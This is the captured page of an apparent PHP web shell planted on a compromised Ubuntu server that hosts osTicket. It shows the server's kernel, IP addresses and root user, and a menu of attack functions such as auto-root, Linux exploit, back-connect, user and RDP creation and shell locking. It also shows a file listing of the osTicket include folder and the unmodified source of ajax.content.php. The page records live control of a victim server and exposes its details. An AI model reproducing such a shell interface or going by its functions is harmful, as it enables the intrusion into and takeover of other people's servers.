Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ajax.content.php
<?php /********************************************************************* ajax.content.php AJAX interface for content fetching...allowed methods. Peter Rotich <peter@osticket.com> Copyright (c) 2006-2013 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ if(!defined('INCLUDE_DIR')) die('!'); require_once INCLUDE_DIR.'class.ajax.php'; class ContentAjaxAPI extends AjaxController { function log($id) { if($id && ($log=Log::lookup($id))) { $content=sprintf('<div style="width:500px;"> <strong>%s</strong><br><p style="white-space:pre-line;">%s</p> <hr><strong>%s:</strong> <em>%s</em> <strong>%s:</strong> <em>%s</em></div>', $log->getTitle(), Format::display(str_replace(',',', ',$log->getText())), __('Log Date'), Format::daydatetime($log->getCreateDate()), __('IP Address'), $log->getIP()); }else { $content='<div style="width:295px;"> <strong>'.__('Error').':</strong>'. sprintf(__('%s: Unknown or invalid ID.'), __('log entry')).'</div>'; } return $content; } function ticket_variables() { $content=' <div style="width:680px;"> <h2>'.__('Ticket Variables').'</h2> '.__('Please note that non-base variables depend on the context of use. Visit osTicket Wiki for up to date documentation.').' <br/> <table width="100%" border="0" cellspacing=1 cellpadding=2> <tr><td width="55%" valign="top"><b>'.__('Base Variables').'</b></td><td><b>'.__('Other Variables').'</b></td></tr> <tr> <td width="55%" valign="top"> <table width="100%" border="0" cellspacing=1 cellpadding=1> <tr><td width="130">%{ticket.id}</td><td>'.__('Ticket ID').' ('.__('internal ID').')</td></tr> <tr><td>%{ticket.number}</td><td>'.__('Ticket Number').' ('.__('external ID').')</td></tr> <tr><td>%{ticket.email}</td><td>'.__('Email Address').'</td></tr> <tr><td>%{ticket.name}</td><td>'.__('Full Name').' — <em>'.__('see name expansion').'</em></td></tr> <tr><td>%{ticket.subject}</td><td>'.__('Subject').'</td></tr> <tr><td>%{ticket.phone}</td><td>'.__('Phone number | ext').'</td></tr> <tr><td>%{ticket.status}</td><td>'.__('Status').'</td></tr> <tr><td>%{ticket.priority}</td><td>'.__('Priority').'</td></tr> <tr><td>%{ticket.assigned}</td><td>'.__('Assigned Agent / Team').'</td></tr> <tr><td>%{ticket.create_date}</td><td>'.__('Date Created').'</td></tr> <tr><td>%{ticket.due_date}</td><td>'.__('Due Date').'</td></tr> <tr><td>%{ticket.close_date}</td><td>'.__('Date Closed').'</td></tr> <tr><td>%{ticket.recipients}</td><td>'.__('List of all recipient names').'</td></tr> <tr><td nowrap>%{recipient.ticket_link}</td><td>'.__('Auth. token used for auto-login').'<br/> '.__('Agent\'s ticket view link').'</td></tr> <tr><td colspan="2" style="padding:5px 0 5px 0;"><em><b>'.__('Expandable Variables').'</b></em></td></tr> <tr><td>%{ticket.topic}</td><td>'.__('Help Topic').'</td></tr> <tr><td>%{ticket.dept}</td><td>'.__('Department').'</td></tr> <tr><td>%{ticket.staff}</td><td>'.__('Assigned/closing agent').'</td></tr> <tr><td>%{ticket.team}</td><td>'.__('Assigned/closing team').'</td></tr> <tr><td>%{ticket.thread}</td><td>'.__('Ticket Thread').'</td></tr> </table> </td> <td valign="top"> <table width="100%" border="0" cellspacing=1 cellpadding=1> <tr><td width="100">%{message}</td><td>'.__('Incoming message').'</td></tr> <tr><td>%{response}</td><td>'.__('Outgoing response').'</td></tr> <tr><td>%{comments}</td><td>'.__('Assign/transfer comments').'</td></tr> <tr><td>%{note}</td><td>'.__('Internal note <em>(expandable)</em>').'</td></tr> <tr><td>%{assignee}</td><td>'.__('Assigned Agent / Team').'</td></tr> <tr><td>%{assigner}</td><td>'.__('Agent assigning the ticket').'</td></tr> <tr><td>%{url}</td><td>'.__('osTicket\'s base url (FQDN)').'</td></tr> <tr><td>%{reset_link}</td> <td>'.__('Reset link used by the password reset feature').'</td></tr> </table> <table width="100%" border="0" cellspacing=1 cellpadding=1> <tr><td colspan="2"><b>'.__('Name Expansion').'</b></td></tr> <tr><td>.first</td><td>'.__('First Name').'</td></tr> <tr><td>.last</td><td>'.__('Last Name').'</td></tr> <tr><td>.full</td><td>'.__('First Last').'</td></tr> <tr><td>.short</td><td>'.__('First L.').'</td></tr> <tr><td>.shortformal</td><td>'.__('F. Last').'</td></tr> <tr><td>.lastfirst</td><td>'.__('Last, First').'</td></tr> <tr><td colspan="2" style="padding:5px 0 5px 0;"><em><b>'.__('Ticket Thread expansions').'</b></em></td></tr> <tr><td>.original</td><td>'.__('Original Message').'</td></tr> <tr><td>.lastmessage</td><td>'.__('Last Message').'</td></tr> <tr><td colspan="2" style="padding:5px 0 5px 0;"><em><b>'.__('Thread Entry expansions').'</b></em></td></tr> <tr><td>.poster</td><td>'.__('Poster').'</td></tr> <tr><td>.create_date</td><td>'.__('Date Created').'</td></tr> </table> </td> </tr> </table> </div>'; return $content; } function getSignature($type, $id=null) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Login Required'); switch ($type) { case 'none': break; case 'agent': if (!($staff = Staff::lookup($id))) Http::response(404, 'No such staff member'); echo Format::viewableImages($staff->getSignature()); break; case 'mine': echo Format::viewableImages($thisstaff->getSignature()); break; case 'dept': if (!($dept = Dept::lookup($id))) Http::response(404, 'No such department'); echo Format::viewableImages($dept->getSignature()); break; default: Http::response(400, 'Unknown signature type'); break; } } function manageContent($id, $lang=false) { global $thisstaff, $cfg; if (!$thisstaff) Http::response(403, 'Login Required'); $content = Page::lookup($id, $lang); $langs = Internationalization::getConfiguredSystemLanguages(); $translations = $content->getAllTranslations(); $info = array( 'title' => $content->getName(), 'body' => $content->getBody(), ); foreach ($translations as $t) { if (!($data = $t->getComplex())) continue; $info['trans'][$t->lang] = array( 'title' => $data['name'], 'body' => $data['body'], ); } include STAFFINC_DIR . 'templates/content-manage.tmpl.php'; } function manageNamedContent($type, $lang=false) { global $thisstaff, $cfg; if (!$thisstaff) Http::response(403, 'Login Required'); $langs = $cfg->getSecondaryLanguages(); $content = Page::lookupByType($type, $lang); $info = $content->getHashtable(); include STAFFINC_DIR . 'templates/content-manage.tmpl.php'; } function updateContent($id) { global $thisstaff; if (!$thisstaff) Http::response(403, 'Login Required'); elseif (!($content = Page::lookup($id))) Http::response(404, 'No such content'); if (!isset($_POST['body'])) $_POST['body'] = ''; $vars = array_merge($content->getHashtable(), $_POST); $errors = array(); // Allow empty content for the staff banner if ($content->update($vars, $errors, $content->getType() == 'banner-staff') ) { Http::response(201, 'Have a great day!'); } if (!$errors['err']) $errors['err'] = __('Correct any errors below and try again.'); $info = $_POST; $errors = Format::htmlchars($errors); include STAFFINC_DIR . 'templates/content-manage.tmpl.php'; } function context() { global $thisstaff; if (!$thisstaff) Http::response(403, 'Login Required'); if (!$_GET['root']) Http::response(400, '`root` is required parameter'); $items = VariableReplacer::getContextForRoot($_GET['root']); if (!$items) Http::response(422, 'No such context'); header('Content-Type: application/json'); return $this->encode($items); } } ?>
Close